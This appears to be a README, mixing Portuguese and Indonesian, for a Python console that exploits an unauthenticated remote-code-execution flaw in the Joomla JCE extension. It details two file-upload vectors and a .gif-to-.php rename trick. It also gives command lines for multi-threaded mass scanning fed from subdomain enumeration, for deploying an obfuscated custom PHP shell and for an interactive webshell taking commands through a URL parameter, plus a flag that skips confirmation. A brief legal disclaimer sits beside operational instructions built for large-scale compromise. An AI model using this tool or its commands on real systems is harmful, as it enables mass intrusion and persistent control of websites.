Console em Python que explora o CVE-2026-48907, uma RCE não autenticada no Joomla JCE, com vetores de importação de perfil e upload via RPC do navegador, varredura em massa e um shell PHP interativo.
ZERODAY // JCE RCE CONSOLE
Console operator all-in-one para CVE-2026-48907 — unauthenticated remote code execution no Joomla + extensão JCE.
Um único arquivo, dois vetores, quatro modos de operação e shell interativo integrado:
| Vetor | Caminho | Como funciona |
|---|---|---|
| V1 | tmp/ profile-import | Upload via task=profiles.import, depois sonda o arquivo no diretório público (/tmp, /administrator/tmp, /cache, /logs, /images, /media, /uploads, /) |
| V2 | JCE browser RPC | Importa profile permissivo → upload plugin.rpc&plugin=browser para /images/ → renomeia .gif → .php se necessário |
Modos de operação: single · mass · auto-interactive · custom-shell.
⚠️ Aviso legal — esta ferramenta destina-se apenas a pesquisa de segurança e testes em sistemas de sua propriedade ou para os quais você tenha autorização escrita para testar. O uso sem autorização é uma ação ilegal.
Requisitos:
requests e colorama (urllib3 é instalado junto com requests)pip install requests colorama
Verifique a instalação:
python JcE.py --help
No Windows, use PowerShell/Windows Terminal para que as cores e os glifos sejam exibidos corretamente. Se o terminal não suportar cores, execute com --no-color.
Jc3/
├── JcE.py # console utama
├── lists.txt # contoh daftar target (satu URL per baris)
├── mnger.php # contoh custom PHP payload (obfuscated)
└── README.md
File target: uma URL por linha. Linhas vazias e linhas que começam com # são ignoradas. O esquema https:// é adicionado automaticamente se não for escrito.
https://joomla1.target.com
joomla2.target.com
# baris komentar diabaikan
http://140.122.146.138
https://joomla3.target.com/
Output padrão:
| Arquivo | Conteúdo |
|---|---|
shells.txt | URL de shell / arquivo gravado com sucesso |
rce.txt | Apenas RCE verificado, formato URL -> VETOR |
python JcE.py
Script menampilkan boot sequence, banner, lalu COMMAND INDEX:
| Pilihan | Mode | Fungsi |
|---|---|---|
1 | Single Target | Exploit satu target, lalu sesi manual |
2 | Mass Exploit | Scan dari file target, multi-thread |
3 | Auto Interactive | Exploit → verifikasi → langsung masuk shell |
4 | Custom Shell | Deploy payload PHP milik sendiri |
0 | Exit | Keluar dari console |
Setiap pilihan akan menanyakan parameter (target, timeout, file output, dll.). Nilai default tampil dalam [ ] — tekan Enter untuk memakai default.
python JcE.py -u https://joomla.target.com
Yang dijalankan:
jce.xml, com_jce, halaman utama).>= 2.9.99.5 dan proses dihentikan.csrf.token, hidden input, meta tag, JSON embed).tmp/ profile import).MATHOK:<hasil perkalian>).shells.txt dan rce.txt.Secara default script meminta konfirmasi sebelum menyerang satu target. Lewati dengan -y.
python JcE.py -u https://joomla.target.com --shell
--shell / --auto-shell berlaku apenas para um alvo; no modo em massa, esta opção é desativada automaticamente.
python JcE.py -u https://joomla.target.com --auto
Diferentemente de --shell, este modo para quando o RCE não é verificado — não há prompt de continuação.
python JcE.py -l lists.txt -t 20 --timeout 20
-l / -f / --file / --list — arquivo de lista de alvos-t / --threads — workers paralelos, 1–200, padrão 50--timeout — timeout HTTP por requisição, 3–120 segundos, padrão 15shells.txt e rce.txt são redefinidos no início da varredura--auto e --shell são ignorados no modo massivoA combinação de -u e -l é permitida; ambas são mescladas.
python JcE.py -u https://target.com -F mnger.php
mnger.php)Combinação com outros modos:
# custom shell + mass scan
python JcE.py -l lists.txt -F mnger.php -t 20
# custom shell + auto interactive
python JcE.py -u https://target.com -F mnger.php --auto
Quando stdin não é um terminal, o script extrai URLs http(s):// de cada linha (linhas sem esquema são ignoradas neste caminho):
subfinder -d target.com | httpx -silent | python JcE.py
Exemplo com armazenamento de resultados:
cat subdomains.txt | httpx -silent | python JcE.py -t 30 --silent --json report.json
# deteksi / exploit satu target
python JcE.py -u https://joomla.target.com
# single + langsung shell + debug log
python JcE.py -u https://joomla.target.com --shell -v
# massal senyap, simpan JSON
python JcE.py -l lists.txt -t 30 --silent -o shells.txt -r rce.txt --json report.json
# tanpa prompt konfirmasi
python JcE.py -u https://joomla.target.com -y
# custom shell massal
python JcE.py -l lists.txt -F mnger.php -t 20 --silent
| Opsi | Keterangan |
|---|---|
-u, --url | Satu URL target |
-f, --file, -l, --list | File daftar target (satu URL per baris) |
| Opsi | Default | Keterangan |
|---|---|---|
-t, --threads | 50 | Jumlah thread mass mode (dibatasi 1–200) |
--timeout | 15 | Timeout HTTP dalam detik (dibatasi 3–120) |
| Opção | Descrição |
|---|---|
--shell, --auto-shell | Entra automaticamente em um shell interativo após um RCE bem-sucedido (alvo único) |
--auto | Auto-interativo: upload → verificação → shell ao vivo |
-F, --shell-file | Caminho para um shell/uploader PHP personalizado a ser enviado |
| Opsi | Default | Keterangan |
|---|---|---|
-o, --output | shells.txt | File URL shell yang berhasil |
-r, --rce-output | rce.txt | File RCE terverifikasi (URL -> Vektor) |
--json | — | Simpan laporan JSON ke file |
| Opsi | Keterangan |
|---|---|
-y, --yes | Lewati prompt konfirmasi (single target) |
-v, --verbose | Tampilkan log debug (DBG) |
--silent | Tanpa log per-target dan tanpa prompt |
--no-color | Nonaktifkan warna/ANSI |
Setelah RCE terverifikasi, console mengupload shell interaktif tambahan bernama cyph_i_<random>.php. Jika upload gagal, payload ditulis lewat perintah base64 -d.
Shell berjalan dengan parameter ?c=<cmd>, contoh:
https://target.com/images/jce1a2b3c4d.php?c=id